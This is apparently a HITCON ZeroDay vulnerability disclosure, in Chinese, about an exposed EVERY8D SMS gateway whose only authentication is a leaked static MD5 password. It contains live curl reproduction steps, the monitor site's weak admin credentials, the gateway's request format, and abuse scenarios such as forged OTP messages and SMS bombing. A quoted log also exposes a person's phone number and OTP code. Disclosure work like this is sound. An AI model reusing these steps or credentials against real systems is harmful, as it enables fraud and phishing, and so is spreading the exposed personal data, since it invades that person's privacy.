Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00634
- Vendor: 互動資通股份有限公司
- Title: 互動資通 in-api.e8d.tw /sms 靜態 MD5 密碼洩漏 → 公開網路可發送任意 SMS(含偽造 OTP 簡訊)
- Introduction: /sms 對公開網路開放,唯一認證為靜態 MD5 密碼,已從他站 MongoDB 日誌洩漏,可發送任意 SMS。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/06 01:42:56 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:55:08 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:49:20 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2026/07/06 11:06:22 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:12:37 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:20:32 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:27:18 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00634
- 通報者:guan4tou2 (罐頭)
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://monitor.e8d.tw/administrator.php?op=mongodblog
敘述
相關通報
本報告聚焦於 in-api.e8d.tw/sms 端點本身的設計缺陷(公開暴露 + 靜態 MD5 認證),與 ZD-2026-00631(in-api.e8d.tw .git 暴露 → crmonly1 商業帳密)為獨立漏洞:兩者均可發送 SMS,但攻擊向量、端點、認證機制均不同。
漏洞概述
https://in-api.e8d.tw/sms 為 EVERY8D(互動資通)的內部核心 SMS 發送 API,部署於 Apache/2.4.52(Ubuntu)。此端點:
- 無 IP 白名單保護:直接對公開網路開放(GET →
[{status:'OK'}]) - 唯一認證為靜態 MD5 密碼:使用永不輪換的硬編碼 MD5 值作為
pwd欄位 - 密碼已洩漏:
monitor.e8d.twMongoDB 日誌查詢介面(CWE-798)回傳 OTP 簡訊請求的完整原始記錄,含明文pwd=EBE4F53CC003E4D0xxxxxxx
攻擊鏈:monitor.e8d.tw 弱密碼 admin/PASSWORD → MongoDB Log 查詢 → 取得 in-api.e8d.tw/sms MD5 密碼 → 任意 SMS 發送
重現步驟(Live Verified: 2026-05-06)
步驟 1:確認 API 無 IP 白名單,公開可達
curl -s "https://in-api.e8d.tw/sms"
# → [{status:'OK'}]
# 無需認證即可存取,無 IP 白名單
步驟 2:從 monitor.e8d.tw MongoDB Log 取得洩漏 MD5 密碼
POST https://monitor.e8d.tw/administrator.php
op=mongodblog&op2=mongolist&logtype=api&txtDate=2026-04-29
回應(節錄):
{
"_date": "2026-04-29 01:45:15",
"_requrl": "http://in-api.e8d.tw/sms",
"_serverIP": "192.168.2.185",
"body_in": {
"act": "e8d",
"pwd": "EBE4F53CC003E4Dxxxxxx",
"mobile": "0936228163",
"subject": "OTP簡訊驗證",
"content": "EVERY8D簡訊平台帳號jack的OTP密碼為:168007"
}
}
→ MongoDB Log 回傳完整 OTP 簡訊請求,包含明文 pwd(未遮罩)。
步驟 3:以洩漏密碼呼叫 API — 正確密碼 vs 錯誤密碼差異驗證
# 正確密碼 + 有效手機格式 → 成功接受請求
curl -s -X POST "https://in-api.e8d.tw/sms" \
-d "act=e8d&pwd=EBE4F53CC003Exxxxxxx&mobile=0900000000&subject=test&content=test"
# → {"resp_status":"成功","resp_code":"200"}
# 錯誤密碼 → 明確拒絕(resp_code:303)
curl -s -X POST "https://in-api.e8d.tw/sms" \
-d "act=e8d&pwd=WRONGPASSWORD00000000000000000000&mobile=0900000000&subject=test&content=test"
# → {"resp_status":"站台密碼錯誤","resp_code":"303"}
回應碼對照:
| resp_code | resp_status | 意義 |
|---|---|---|
| 200 | 成功 | 認證通過,請求接受 |
| 301 | 參數缺少 | 必填欄位缺少 |
| 302 | 站台帳號錯誤 | act 值錯誤 |
| 303 | 站台密碼錯誤 | 密碼錯誤 |
| 398 | -306,手機格式不符 | 手機號碼格式無效 |
→ 正確密碼回傳 200/成功,錯誤密碼回傳 303/站台密碼錯誤,確認洩漏密碼有效。
步驟 4:實際發送 SMS 並確認送達(Live 2026-04-30 03:01 AM)
# 發送前確認 crmonly1 商業帳號餘額
curl -s "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=cxxxxx&PWD=crxxxxx"
# → 3367.00
# 使用洩漏密碼透過 in-api.e8d.tw 發送 SMS 至測試手機
curl -s -X POST "https://in-api.e8d.tw/sms" \
-d "act=e8d&pwd=EBE4F53CC003Exxxxxx&mobile=0908079870&content=e8d security test - bug bounty verification"
# → {"resp_status":"成功","resp_code":"200"}
# 發送後驗證點數扣減
curl -s "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=crmxxxxx&PWD=crxxxx"
# → 3366.00(-1 點,確認 SMS 實際由 crxxxx 商業帳號發出)
關鍵發現:in-api.e8d.tw/sms 為代理 gateway,內部使用 crxxxx 商業帳號(api.e8d.tw/API21/)發送,確實消耗商業 SMS 點數。
sms.php 原始碼確認(via git object extraction):
$sms = new SMSHttp($f3);
$sms->sendSMS($f3->smsUserID, $f3->smsPassword, ...)
// config.ini: smsUserID=crmxxxx, smsPassword=crxxxx
// SMSHttp 內部呼叫 api.e8d.tw/API21/HTTP/sendSMS.ashx
步驟 5:API 請求完整格式
POST https://in-api.e8d.tw/sms
Content-Type: application/x-www-form-urlencoded
act=e8d
pwd=EBE4F53CC00xxxx
mobile=<09xxxxxxxx 台灣手機或國際格式>
subject=<簡訊標題>
content=<簡訊內容,可填任意文字>
已驗證影響(Verified)
- ✅
in-api.e8d.tw/sms無 IP 白名單,對外公開(GET →[{status:'OK'}],2026-05-06 再次確認) - ✅ 洩漏 MD5 密碼認證通過:
{"resp_status":"成功","resp_code":"200"}(2026-04-30 實測) - ✅ 正確密碼(398/手機格式不符)vs 錯誤密碼(303/站台密碼錯誤)差異確認(2026-05-06 再次確認,無效手機格式測試,未觸發真實 SMS)
- ℹ️ 2026-05-06 補充:
monitor.e8d.tw(密碼原始洩漏來源,Step 2)現已 403,從外部無法重現密碼取得步驟;密碼係原始研究期間取得,核心漏洞(公開 endpoint + 靜態 MD5 認證)仍存在 - ✅ API 接受台灣手機格式(
09xxxxxxxx)及國際格式,無效格式回傳 398 - ✅ 密碼洩漏來源確認:monitor.e8d.tw MongoDB Log 查詢介面(OTP 簡訊請求明文記錄
pwd) - ✅ SMS 實際送達(截圖證明):2026-04-30 03:01 AM,發送至 +886-908-079-870
- 發送方:
+886 961-591-6...(EVERY8D SMS gateway 號碼) - 內容:
e8d security test - bug bounty verification - crxxxx 餘額:3367.00 → 3366.00(扣 1 點,確認走商業 SMS 管道)
- 發送方:
潛在影響(Potential,需前提:攻擊者已取得 MD5 密碼)
- 任意 SMS 發送:可冒用 EVERY8D 官方簡訊號碼,向任意手機號碼發送釣魚 / 詐騙內容
- 偽造 OTP 簡訊:
content欄位可填入任意文字,可偽造 EVERY8D OTP 驗證簡訊格式 - SMS 轟炸(DoS):對任意手機號碼批次發送大量簡訊,消耗 EVERY8D 企業客戶簡訊額度
- 計費濫用:每通 SMS 消耗 EVERY8D 企業帳號的簡訊餘額
前提條件:攻擊者須先透過 monitor.e8d.tw 弱密碼(admin/PASSWORD)取得 MongoDB Log 中的 MD5 密碼。
架構說明:Gateway 代理模型
in-api.e8d.tw/sms 是代理 gateway,不是直接 SMS provider:
攻擊者
↓ pwd=EBE4F53CC00xxxxx(gateway siteAccount 密碼,MySQL md5_pwd 欄位)
in-api.e8d.tw/sms
↓ 內部使用 config.ini 的 smsUserID=crxxxx / smsPassword=crxxxx
api.e8d.tw/API21/HTTP/sendSMS.ashx(EVERY8D 商業 SMS 平台)
↓
SMS 送達(扣 crxxxx 商業點數)
注意:EBE4F53CCxxxxxx 不是 crxxxxx 的密碼(MD5("crxxxxx")=3aee80...,完全不同)。這是 gateway 自己的 act=e8d site account 的 MD5 認證值,兩個帳號系統完全獨立。
漏洞根因
- 靜態 MD5 密碼:
in-api.e8d.tw/sms使用永不輪換的硬編碼 MD5 值作為唯一認證 - 無 IP 白名單:內部 SMS gateway 對外公開,任何網路可達
- MongoDB Log 明文記錄 pwd:OTP 請求原始日誌含完整明文密碼欄位,Log 查詢介面直接可查看
- 商業帳號硬編碼於 config.ini:crxxxx:crxxxx 明文寫入版本控制(ZD-2026-00631 涵蓋)
修補建議
1. 立即:對 in-api.e8d.tw/sms 加入 IP 白名單(僅允許 192.168.2.x 內網段)
2. 立即:廢除現有靜態 MD5 密碼,改用 HMAC-SHA256 + timestamp + nonce 動態簽名
3. 立即:MongoDB Log 查詢介面對敏感欄位(pwd、OTP 值、mobile)進行遮罩處理
4. 短期:加入 rate limiting(每 IP 每分鐘請求上限)
5. 短期:SMS 發送前驗證 mobile 號碼屬於已知客戶帳號(allowlist)